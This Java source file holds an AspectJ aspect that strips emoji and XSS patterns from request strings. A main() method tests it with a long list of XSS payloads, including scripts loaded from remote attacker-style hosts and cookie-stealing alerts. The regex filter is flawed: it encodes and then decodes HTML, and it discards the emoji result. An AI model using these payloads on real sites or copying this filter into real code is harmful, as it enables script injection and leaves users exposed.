package com.cloudbroker.bcs.platform.ltb.middle.aspect;

import java.lang.reflect.Field;
import java.util.Map;
import java.util.regex.Pattern;

import org.aspectj.lang.ProceedingJoinPoint;
import org.owasp.esapi.ESAPI;

import com.cloudbroker.bcs.common.emoji.EmojiParser;
import com.cloudbroker.bcs.common.util.ReflectionUtil;
import com.cloudbroker.bcs.common.util.StringUtil;
import com.cloudbroker.bcs.common.util.ValueUtil;

/**
 * Created by xuyn15828 on 2016/4/21.
 */
public class OpenApiDataParseAspect {
    
    public Object parseData(ProceedingJoinPoint pjp) throws Throwable {
        Object[] objAry = pjp.getArgs();
        if (null != objAry && 0 != objAry.length) {
            for (Object obj : objAry) {
                if (null != obj) {
                    Class<?> objClazz = obj.getClass();
                    Map<String, Field> fieldNameMap = ReflectionUtil.listAllFields(null, objClazz);
                    for (Map.Entry<String, Field> entry : fieldNameMap.entrySet()) {
                        Class<?> fieldType = entry.getValue().getType();
                        if (String.class == fieldType) {
                            String value = ValueUtil.getString(ReflectionUtil.getValue(obj, entry.getKey()));
                            //为空字符串过滤
                            if (StringUtil.isBlank(value)) {
                                ReflectionUtil.setValue(obj, entry.getKey(), "");
                            } else {
                                //emoji表情过滤
                                ReflectionUtil.setValue(obj, entry.getKey(), parseEmojiCode(value));
                                //XSS过滤
                                ReflectionUtil.setValue(obj, entry.getKey(), stripXSS(value));
                            }
                        }
                    }
                }
            }
        }
        return pjp.proceed();
    }
    
    private String parseEmojiCode(String value) {
        String temp = null;
        for (int i = 0; i < value.length(); i++) {
            temp = value;
            value = EmojiParser.parseToHtmlDecimal(value);
            if (value.equals(temp)) {
                break;
            }
        }
        return value;
    }
    
    private static String stripXSS(String value) {
        
        if (value != null) {            
            
            // Avoid null characters
            value = value.replaceAll("", "");
            
            // Avoid anything between script tags
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Remove any lonesome </script> tag
            scriptPattern = Pattern.compile("</script>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Remove any lonesome <script ...> tag
            scriptPattern = Pattern.compile("<script(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid eval(...) e­xpressions
            scriptPattern = Pattern.compile("eval\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid e­xpression(...) e­xpressions
            scriptPattern = Pattern.compile("e­xpression\\((.*?)\\)", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid javascript:... e­xpressions
            scriptPattern = Pattern.compile("javascript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid vbscript:... e­xpressions
            scriptPattern = Pattern.compile("vbscript:", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Avoid onload= e­xpressions
            scriptPattern = Pattern.compile("onload(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            
            // Avoid onclick= e­xpressions
            scriptPattern = Pattern.compile("onclick(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            
            // Avoid alert= e­xpressions
            scriptPattern = Pattern.compile("alert(.*?)=", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            
            // Avoid anything between meta tags
            scriptPattern = Pattern.compile("<meta>(.*?)</meta>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");
            
            // Remove any lonesome </meta> tag
            scriptPattern = Pattern.compile("</meta>", Pattern.CASE_INSENSITIVE);
            value = scriptPattern.matcher(value).replaceAll("");

            // Remove any lonesome <meta ...> tag
            scriptPattern = Pattern.compile("<meta(.*?)>", Pattern.CASE_INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);
            value = scriptPattern.matcher(value).replaceAll("");
            
            // NOTE: It's highly recommended to use the ESAPI library and uncomment the following line to
            // avoid encoded attacks.
            value = ESAPI.encoder().encodeForHTML(value);
            
            //TODO
            value = ESAPI.encoder().decodeForHTML(value);
            
        }
        return value;
    }
    
    public static void main(String[] args) {
        String a = stripXSS("<script>alert(document.cookie)</script>"
                + "<script>alert(vulnerable)</script>"
                + "<script>alert('XSS')</script>"
                + "<img src=\"javascript:alert('XSS')\">"
                + "<script>alert('Vulnerable');</script>"
                + "<IMG src=\"javascript:alert('XSS');\">"
                + "<IMG src=javascript:alert('XSS')>"
                + "<IMG src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>"
                + "<IMG src=\"jav ascript:alert('XSS');\">"
                + "<IMG src=java\0script:alert(\"XSS\")>"
                + "<IMG src=\" javascript:alert('XSS');\">"
                + "<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>"
                + "<BODY BACKGROUND=\"javascript:alert('XSS')\">"
                + "<BODY ONLOAD=alert('XSS')>"
                + "<IMG DYNSRC=\"javascript:alert('XSS')\">"
                + "<BGSOUND src=\"javascript:alert('XSS');\">"
                + "<br size=\"&{alert('XSS')}\">"
                + "<LAYER src=\"http://xss.ha.ckers.org/a.js\"></layer>"
                + "<LINK REL=\"stylesheet\" href=\"javascript:alert('XSS');\">"
                + "<IMG src='vbscript:msgbox(\"XSS\")'>"
                + "<IMG src=\"mocha:[code]\">"
                + "<IMG src=\"livescript:[code]\">"
                + "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">"
                + "<IFRAME src=javascript:alert('XSS')></IFRAME>"
                + "<FRAMESET><FRAME src=javascript:alert('XSS')></FRAME></FRAMESET>"
                + "<TABLE BACKGROUND=\"javascript:alert('XSS')\">"
                + "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">"
                + "<DIV STYLE=\"behaviour: url('http://www.how-to-hack.org/exploit.html');\">"
                + "<DIV STYLE=\"width: expression(alert('XSS'));\">"
                + "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>"
                + "<IMG STYLE='xss:expre\\ssion(alert(\"XSS\"))'>"
                + "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>"
                + "<STYLE TYPE=\"text/css\">.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE>"
                + "<A class=\"XSS\"></A>"
                + "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>"
                + "<BASE href=\"javascript:alert('XSS');//\">getURL(\"javascript:alert('XSS')\")a=\"get\";b=\"URL\";c=\"javascript:\";d=\"alert('XSS');\";eval(a+b+c+d);"
                + "<XML src=\"javascript:alert('XSS');\">"
                + "<BODY ONLOAD=\"a();\">"
                + "<SCRIPT>function a(){alert('XSS');}</SCRIPT>"
                + "<SCRIPT src=\"http://xss.ha.ckers.org/xss.jpg\"></SCRIPT>"
                + "<IMG src=\"javascript:alert('XSS')\""
                + "<!--#exec cmd=\"/bin/echo '<SCRIPT SRC'\"-->"
                + "<!--#exec cmd=\"/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'\"-->"
                + "<IMG src=\"http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode\">"
                + "<SCRIPT a=\">\" src=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>"
                + "<SCRIPT =\">\" src=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>"
                + "<SCRIPT a=\">\" '' src=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>"
                + "<SCRIPT \"a='>'\" src=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>"
                + "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>"
                + "PT src=\"http://xss.ha.ckers.org/a.js\"></SCRIPT>"
                + "<A href=http://www.gohttp://www.google.com/ogle.com/>link</A>");
        System.out.println(a);
    }
}
